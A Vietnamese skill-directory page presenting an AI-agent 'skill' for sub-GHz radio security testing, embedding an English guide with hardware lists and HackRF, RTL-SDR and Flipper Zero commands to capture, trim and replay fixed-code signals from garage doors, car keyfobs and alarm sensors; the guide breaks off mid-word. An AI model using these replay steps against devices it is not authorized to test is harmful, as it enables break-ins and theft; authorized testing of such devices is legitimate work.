Chuyển đến nội dung
Skillpedia
Bảo mật6.5k · #14103

sub-ghz

Skill này làm gì

Hướng dẫn này nói về kiểm tra bảo mật cho thiết bị điều khiển từ xa dùng sóng vô tuyến dưới GHz, như bộ mở cửa gara, cảm biến báo động và móc khóa điều khiển. Dành cho nhóm sản phẩm và người kiểm thử rà soát thiết bị của chính họ trong môi trường được ủy quyền.

Khi nào nên dùng

  • ✓Khi một nhóm sản phẩm muốn kiểm tra xem remote mở cửa của họ dùng mã cuốn hay mã cố định.
  • ✓Khi một cảm biến báo động gửi tín hiệu có thể bị ghi lại và gửi lại.
  • ✓Khi một bài kiểm thử được ủy quyền cần xác định cách điều chế và mã hóa của một thiết bị vô tuyến.

Liên kết skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/iot/sub-ghz/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/iot/sub-ghz/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Remote cửa gara của chúng tôi có thể dùng mã cố định. Bạn có thể kiểm tra xem tín hiệu của nó có thể được ghi lại và phát lại trên thiết bị thử nghiệm của chúng tôi không?”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Agent xác định tần số và cách mã hóa vô tuyến, kiểm tra xem mã có thay đổi giữa các lần nhấn không, rồi báo cáo liệu tín hiệu đã ghi có được chấp nhận lần nữa không.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

Sub-GHz ISM Band Capture and Replay

The 433/868/915 MHz ISM bands host a vast range of devices: garage door openers, car remote entry, alarm sensors, smart meters, weather stations, baby monitors, and industrial telemetry. Most use OOK or FSK modulation with no authentication. Fixed-code devices are trivially replayed. Rolling- code devices (KeeLoq, HiTag2) require additional analysis but have documented weaknesses.

Prerequisites

  • Hardware (any one or more):

    • HackRF One (1 MHz–6 GHz, TX+RX, 20 Msps) — most versatile.
    • Flipper Zero (sub-GHz module, 300–928 MHz) — fastest field replay.
    • RTL-SDR Blog v4 (receive only, 24 MHz–1766 MHz) — cheapest capture.
    • YARD Stick One (rfcat, 300–928 MHz, CC1111 based, TX+RX) — scriptable.
    • Proxmark3 (car key HiTag2 analysis, NFC — separate workload).
  • Software: rfcat, inspectrum, Universal Radio Hacker (URH), rtl_433, GNU Radio, hackrf_transfer, SigDigger, rpitx (Raspberry Pi TX alternative).

# Install rfcat (YARD Stick One / CC1111 based tools):
pip install rfcat

# Install rtl_433 (auto-decodes hundreds of 433 MHz devices):
apt install rtl-433  # or build from https://github.com/merbanan/rtl_433

# Universal Radio Hacker:
pip install urh

# inspectrum (IQ file visualization):
apt install inspectrum

Frequency and Modulation Quick Reference

Frequency Region / Use Common modulation
433.92 MHz EU/AS garage, keyfobs, sensors OOK-PWM, OOK-Manchester
315 MHz US garage doors, legacy keyfobs OOK-PWM
868.35 MHz EU alarms, smart meters, LoRa overlap FSK, OOK
915 MHz US ISM (LoRa, sensors, meters) FSK, OOK
303 MHz US TPMS, some car remotes OOK
868.95 MHz KNX, some home automation FSK

Phase 1: Passive Capture and Signal Identification

RTL-SDR (receive only)

# Wideband spectrum survey — see what's broadcasting in the ISM band:
rtl_sdr -f 433920000 -s 2400000 -g 40 /tmp/433_survey.iq

# Auto-decode known 433 MHz devices (weather stations, door sensors, etc.):
rtl_433 -f 433920000 -s 250k -g 40 -F json | tee /tmp/rtl433_decode.json

# For continuous monitoring and logging:
rtl_433 -f 433.92M -s 250k -R 0 -F json -M utc | tee -a /tmp/rtl433_live.json

HackRF capture

# Capture 10 seconds of IQ at 433.92 MHz:
hackrf_transfer -r /tmp/433_capture.iq -f 433920000 -s 2000000 -l 32 -g 40 -n 20000000

# For 868 MHz EU targets:
hackrf_transfer -r /tmp/868_capture.iq -f 868350000 -s 2000000 -l 32 -g 40 -n 20000000

Flipper Zero (fastest field method)

On Flipper Zero:

  • Sub-GHz → Frequency Analyzer: identifies active frequencies.
  • Sub-GHz → Read: captures and stores a signal to flash.
  • Sub-GHz → Read Raw: stores raw IQ for later analysis.
# Via Flipper CLI (qFlipper / USB serial):
# Export captured signals:
flipper_tx read /ext/subghz/captures/signal_001.sub

Phase 2: Signal Analysis with inspectrum and URH

# Visualize IQ capture in inspectrum (shows spectrogram + symbol clock):
inspectrum /tmp/433_capture.iq -r 2000000

# Open in URH for automatic modulation detection and bit decoding:
urh /tmp/433_capture.iq
# URH auto-detection: Signal → Autodetect parameters → shows encoding
# (OOK, FSK, PSK), bit rate, and decoded bits.

Key parameters to identify:

  • Modulation: OOK (On-Off Keying) = on/off pattern; FSK = two frequencies.
  • Bit rate: measure pulse width in inspectrum (typical: 1000–4000 bps for OOK remotes).
  • Encoding: PWM (pulse-width), Manchester, NRZ, biphase.
  • Preamble: usually alternating 01010101 or a long carrier burst.

Phase 3: Fixed-Code Replay

With HackRF

# Replay a captured signal exactly as recorded:
hackrf_transfer -t /tmp/433_capture.iq -f 433920000 -s 2000000 -x 47 -R  # -R = repeat

# Trim the IQ file to a single clean burst before replaying:
python3 - <<'EOF'
import numpy as np

iq = np.fromfile("/tmp/433_capture.iq", dtype=np.int8)
# Find signal burst (amplitude threshold):
amplitude = np.abs(iq[0::2].astype(float) + 1j * iq[1::2].astype(float))
threshold = amplitude.max() * 0.3
start = np.argmax(amplitude > threshold) - 100
end   = len(amplitude) - np.argmax(amplitude[::-1] > threshold) + 100
burst = iq[start*2:end*2]
burst.tofile("/tmp/433_burst_trimmed.iq")
print(f"Burst: {start}–{end} samples ({(end-start)/2e6*1000:.1f} ms)")
EOF

hackrf_transfer -t /tmp/433_burst_trimmed.iq -f 433920000 -s 2000000 -x 47

Wit

Câu hỏi thường gặp

Mã cuốn là gì?

Đó là mã thay đổi sau mỗi lần nhấn, khiến tín hiệu đã ghi khó được dùng lại hơn.

Những băng tần nào được bao gồm?

Hướng dẫn bao gồm các băng ISM 433, 868 và 915 MHz.

Những công cụ nào được nhắc đến?

Hướng dẫn nêu tên một số công cụ radio định nghĩa bằng phần mềm và phân tích, như inspectrum và rtl_433.

Chi tiết

Mô tả gốc của tác giả

Sub-GHz RF capture and replay for 433/868/915 MHz ISM-band targets (garage doors, car keys, alarm sensors, weather stations). Covers fixed-code replay with HackRF/Flipper Zero/RTL-SDR, rolling-code analysis with rfcat, signal visualization with inspectrum and Universal Radio Hacker, and encoding/modulation identification.

repo: BitterSecurity/Decepticon

Độ phổ biến

Sao GitHub
6.5k
Vị trí xếp hạng
#14103
Giấy phép
Apache-2.0
Cập nhật
1/11/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự